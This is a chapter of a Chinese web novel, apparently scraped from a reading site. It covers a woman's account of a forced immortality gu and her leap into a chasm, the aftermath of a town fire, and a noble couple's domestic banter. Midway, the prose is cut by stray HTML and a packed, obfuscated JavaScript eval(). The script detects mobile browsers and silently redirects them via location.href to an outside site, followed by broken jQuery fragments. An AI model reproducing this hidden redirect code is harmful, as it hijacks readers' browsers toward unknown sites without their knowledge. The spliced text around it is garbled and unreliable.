22. 一个愿打一个愿挨

作品:《庾美人

    江兰屿呼吸一窒。自杀?这答案出乎意料。


    “为何?”


    君绾玉没有看他,默默侧过身,手指抚上一个空悬画像的吊人俑,指尖微一用力,铜俑的躯干碎裂开来,碎片坠入下方深不见底的黑暗。


    风从裂缝中灌了上来,带着丝丝凉意,吹拂起她的发丝,她缓缓开口。


    “那天,也是这样的风,她被强行灌了长生药,实在是太痛了,便挣开了太监,跑了出去,一跃而下,留下唯一的遗言就是,对不起,我把地面弄脏了,麻烦你们收拾一下。”


    “她死后,陪葬活人的数量达到了上万人,弄权者利用她的死,试图将彼此的死对头都送进陪葬的名额。这样的陪葬仪式不是恩赐,是对她擅自剥夺自己生命的惩罚。”


    “瀛洲现今律法,天子杀殉,多者数百,寡者数十;将军杀殉,多者数十,寡者数人。听说先皇驾崩,选了近万人陪葬,瀛宣帝继位后便更改了规制……”江兰屿突然顿住,猛地看向君绾玉。


    不对,上万人?这是何等的规格!


    她是说漏嘴了吗?还是……故意为之?瀛洲皇室姓姜,瀛宣帝的后妃中并无君姓的宠臣。


    君绾玉,江兰屿在心中暗念道。他后脊发凉,这个名字,恐怕是假的。


    细思极恐,两年前君绾玉对江兰屿说的身世故事,或许也是假的!


    君绾玉对上他惊疑不定的视线:“她最喜欢不顺遂他人心意,即便是变得人模鬼样,她还是选择活了下去。”


    “长生药,实际是一种蛊,母蛊,只能用一个人的心头血喂养,几乎没有哪个人能撑下去,他们禁不住每月被取一碗心头血,十年才养成功了一只,是你,让我宛如初生。”


    江兰屿心神剧震,他的血对她有用,意味着他极可能是当年以血饲蛊者的后代。


    在溪边,君绾玉曾说欠自己娘亲人情,若按照君绾玉活的岁数,再往上推,那么这份人情极大可能是承自他外祖那一辈。


    他猛然意识到,这蛊练出来恐怕本就是用来害人的,只要沾染上君绾玉的血液,无论死活皆会被其操控,何等可怖!


    所以,当年到底是谁?企图用这个蛊做什么?若此蛊若被用于战场……必是一场杀之不绝的噩梦!


    然而,史书并无此等骇人记载……


    那么只有一个可能,控制母蛊的君绾玉,根本不听那饲蛊者的驱使,他们之间的利益无法达成一致。


    如君绾玉所言,她到死都怕麻烦别人给她收尸,那么,她过去是那样的善良,这些年到底是经受了什么,导致性情大变?变成了现在这副杀人不眨眼的模样。


    “她醒后的第一件事,便是将养蛊的术士杀了个干净……”君绾玉的声音把江兰屿从思绪中拉回。


    果然!如他猜测的大致相同,江兰屿被君绾玉看的有些毛骨悚然。


    她忽然抬手,抚上他的脸颊,语气带着点戏谑:“看来我们的感情深了不少,很明显啊,你从刚刚开始,看我的视线就不一样了,怪肉麻的。”


    江兰屿脸上没什么表情,但耳朵已经热了,强忍住想要后退、逃离她气息笼罩的本能冲动。


    君绾玉无奈的摊开手,明明在笑,说出的话却让江兰屿心底那点异样瞬间冻结:“那个被我捏碎的人俑,画像是我吧,徐三杀不死我,只能用吊人俑的方式来让我赎罪,不过是自欺欺人,寻求一点可悲的慰藉罢了。”


    江兰屿正犹豫是否该交出私藏的画像,君绾玉却已不再追问,转身径直走向那深不见底的裂缝边缘。


    “下面是悬崖!”江兰屿下意识地抓住她的胳膊,“你不要命了?!”


    君绾玉回头,眼中带着一丝玩味:“紧张我?不要害怕,无论我要去做什么,我不会丢下你的。”


    她指了指裂缝:“你下来时,可注意到崖壁上除了青苔,还有什么?”


    “花。”江兰屿回忆道:“橘红、橙黄的花。”


    “那是君子兰,它忌强光,喜凉爽,厌高温,怕干燥,需要喜肥沃土地滋养。这里埋骨无数,养分最是充足,况且,这缝隙之下有水汽腾涌而上,下面必有暗河。”


    “要不要比一下?看谁先从水里出来。”她说罢,抓住吊人俑的脚踝,欲纵身跃入那缝隙中。


    直到君绾玉的身影彻底消失,江兰屿才缓缓松开紧握的拳头,展开掌心那早已被揉得不成样子的画像。


    画中是一位身着繁复花缎长袍的少女半身像,胸前佩戴着绿松石红珊瑚项链。两弯罥烟眉,一双含情目,额前缀着一枚雕工繁复的弯月坠,发间缠绕着二十串银、珊瑚、绿松石珠串编成的垂链,左耳垂下一条长及胸口的精致银质雕纹长坠。


    是君绾玉,江兰屿第一眼便认出了她,所以才鬼使神差地撕下了这幅画像。


    画中的她,笑容温暖明媚,充满蓬勃的生气,而眼前的君绾玉,虽然容颜未改,而现在的君绾玉,她的笑很假,只能用挑不出任何错来形容。


    江兰屿的目光移向画像下方的小字:


    姓名:不祥


    籍贯:不祥


    这身华丽的装扮,首饰的工艺,只有宫里的匠人才能制出。


    留着它,是否能成为要挟君绾玉的筹码?


    江兰屿指尖用力的有些泛白,他完全舒展开画像,一分为二,二分为四,四分为八......随后他突然想起来什么,五指收拢,掌中的宣纸被内力震了个粉碎。


    碎屑乘着从深渊涌上的冷风,纷纷扬扬。


    那些碎纸乘着风,飘落到裂缝的黑暗中。


    江兰屿再无半分迟疑,朝着君绾玉消失的方向,纵身跃下!


    滚烫的水汽蒸腾而起,那原本嚣张的火焰渐渐减弱,最终化为一缕缕青烟。


    宴折芳终于将最后一处的火势扑灭,原本繁华的街道如今变得一片狼藉,房屋烧的只剩下炭黑的骨架。


    刺鼻的焦糊味浓得化不开,满地皆是痛苦和哀嚎,幸存者满脸是烟灰与泪水,孩童眼神中只剩下恐惧,老人茫然四顾,他们还无法接受这突如其来的灾难。


    宴折芳的眼神中透露出一丝心疼,他知道这场大火带来的损失。


    上位者一旦风吹草动,伤害最深的只有最底层的平民百姓。


    云溶押着一个人穿过烟尘走来,顺手将枪抛给身后背着巨大武器匣的壮汉:“风淡淡,接着。”


    风淡默契接过,把枪收回匣中,一言不发。


    雨潇刚安顿好一名伤者,闻声如燕般掠至风淡身旁,一掌拍在他肩上,叉腰对着云溶,面具下的声音带着促狭的笑意:“我们淡淡哥最讨厌别人这么唤他了,云溶溶,跟你说了这么多遍,怎么还是不长记性!”


    “雨潇潇,”云溶立刻反击,精准戳中要害,“公子让你找个姑娘,这么点小事儿,翻遍了鸠兹还没影儿?你的本事呢?”


    雨潇被噎得一口气堵在胸口,隔着面具狠狠瞪了云溶一眼,虽然对方大概看不见。


    她轻功上乘,记性更是顶尖,半个时辰便已将鸠兹地形摸透,可宴折芳口中描述的那位姑娘,如同蒸发,寻遍每个角落都杳无踪迹。


    云溶不再理会气鼓鼓的雨潇,转向宴折芳,神色一肃:“公子,在县令府发现的,此人吵嚷着非要见您,自称才是真正的县令徐宴清。”


    被押着的单薄书生奋力挣扎,嘶声喊道:“放开!我才是徐宴清!我要见主事之人!”


    宴折芳示意云溶松开,徐宴清踉跄一步站稳,愤懑的讲完了来龙去脉。


    他懊恼自责道:“归根结底,是我识人不明,引狼入室!遭他设计囚禁,本以为允徐三顶替县令之位,只盼他能与我同心,造福一方百姓……却不料他是狼子野心,在鸠兹胡作非为,弄得民不聊生!若非今日大火,守卫仓皇逃命,我趁乱逃出,还不知百姓这苦难何时才能终结。”


    “那徐三何在?我必要将他绳之以法!待安置好鸠兹百姓,我便会上书宛陵太守,陈情请罪。”徐宴清字字泣血。


    看着徐宴清那坚定的神情,宴折芳微微颔首:“鸠兹善后之事刻不容缓,我原计划在鸠兹多留几日,大人若不嫌我等,愿遣手下相助。”


    徐宴清眼中瞬间涌上浓烈的感激,深深一揖:“公子大义,徐某感激不尽!”


    他环顾废墟,声音哽咽,“若这世间,多几位如公子这般人物,百姓何愁不能安稳度日?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082624|179425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    宴折芳打量着徐宴清,他一席粗布衣衫,袖口被磨的破旧不堪。


    “行正义之事,乃吾辈之责,也愿徐大人能不忘初心。”他提醒道:“鸠兹之乱,宛陵太守必然知情。”


    徐宴清是个明白人,知晓他言下之意:“外派官员不能私下回京,且越级上书更是官场大忌……”


    他思索一番,下定决心:“多谢公子提醒,徐某定会去往西都,向州牧请罪。”


    宴折芳目送徐宴清离开,暮色中,飞鸟越过头顶。


    院中的鸟雀飞离高耸竹林的枝头,院内帘幕随风而动,阳光透过飘动的帘幕,洒下斑驳的光影。


    庭院之中,一人执剑而立,一人坐于亭中台阶上念着手里的信。


    那执剑人手腕轻转,翻身刺剑,退步穿剑,美人如玉剑如虹,剑花翻飞中银光闪烁的呼呼风声仿佛被拦腰斩断。


    念信的人声音温和而富有磁性,一袭紫色长袍,发丝如墨,眼眸深邃,清澈而宁静,念到某几处,双唇会微微上扬,带着一抹若有若无的笑意,让人如沐春风。


    “芳弟还是这么爱多管闲事。”执剑人转身云剑,从容不迫地收剑入鞘。


    她一身紫色劲装,身材高挑,青丝高束,尽显干练利落,眉如远黛,眉峰英挺,一双眼眸明亮而锐利,挺直的鼻梁下,双唇紧抿,脸上挂着汗珠。


    “说是明日便会离开鸠兹继续南下,他自由惯了,既有杜先生同行,随他去吧。”荀宴面庞温润,把信放回信封中。


    “照他这般游山玩水的走法,今年怕是会在瀛洲过年吧?会去申都吗?”


    “林氏学堂年初后就不收学生了,阿弟心向往之,在鸠兹已耽搁不少时日,杜先生不会让他绕道申都的。”荀宴起身,身姿颀长,他朝她伸手,抬手间,衣袖轻扬,露出白皙修长的手指。


    “若棹,到我身边来。”


    萧若棹步履生风,没两步就已来到荀宴身边,她自然而然地扶上荀宴的腰侧,语带关切:“腰又疼了?”


    荀宴手一顿,若无其事的拿着手帕,轻柔拭去她颊边的汗珠。


    萧若棹顿时一脸懊恼:“哎呀,怪我怪我,那些人在门口堵你半个月了,我还耍小性子偏要你陪我溜出去,不该出这馊主意让你钻狗洞的,你文弱书生一个,身量又高,那狗洞太小,不该硬将你扯出来,致你闪了腰,下次还是我带你飞檐走壁稳妥些!”


    她快人快语,全无顾忌。侍立一旁的婢女忍不住低头掩嘴轻笑。


    荀宴倒也不在意,静静听完萧若棹的话,和她舞剑时的专注不同,她说话时总是眉飞色舞,让人忍不住被她的快乐所感染。


    这段时间的烦恼尽数一扫而空,“阿弟的信,你来回?”


    萧若棹连连摆手:“可别!他怕是被我逼狠了练剑才跑出去的,看见我就烦,我何必去扰他清闲。”


    “严师出高徒。”荀宴含笑辩解。


    萧若棹从荀宴怀中摸出信,指尖点着其中一行,挑眉道:”你就会替他遮掩,果然不出我所料,这段告我状的,你方才怎不念出来?”


    荀宴宠溺的看着她,轻轻捏住信纸另一角,故作茫然:“嗯?有这段?方才怎么没看见呢。”


    他试图为宴折芳挽回几分,指着信开头的问候,“瞧,他嘴硬而已,心里还是记挂你的,‘兄长,嫂嫂今日安否’。”


    萧若棹将信塞回荀宴怀里,转身折了两簇斑竹枝往厢房走去:“少来!你快去给芳弟回信,我们今晚偷偷溜出去下馆子!”


    “好。”荀宴应得干脆,随即吩咐婢女,“去禀告父亲母亲,晚膳不必等我们了。夫人会给他们带宵夜回来。”


    “是。”婢女应声退下。


    走出庭院,其中一个婢女回想方才情景,忍不住低声对同伴道:“一个世家公子被女人撺掇着钻狗洞闪了腰,这样的糗事就这么从夫人嘴里捅了出来,家主啊,面子里子都没了。”


    另一个婢女轻轻碰了下她的胳膊,示意噤声,虽家主荀宴待人宽和,但世家大族,规矩森严,并非仅凭温和便能立足。


    “嗐,这叫什么?一个愿打,一个愿挨呗!”同伴撇撇嘴,终究是压低了声音。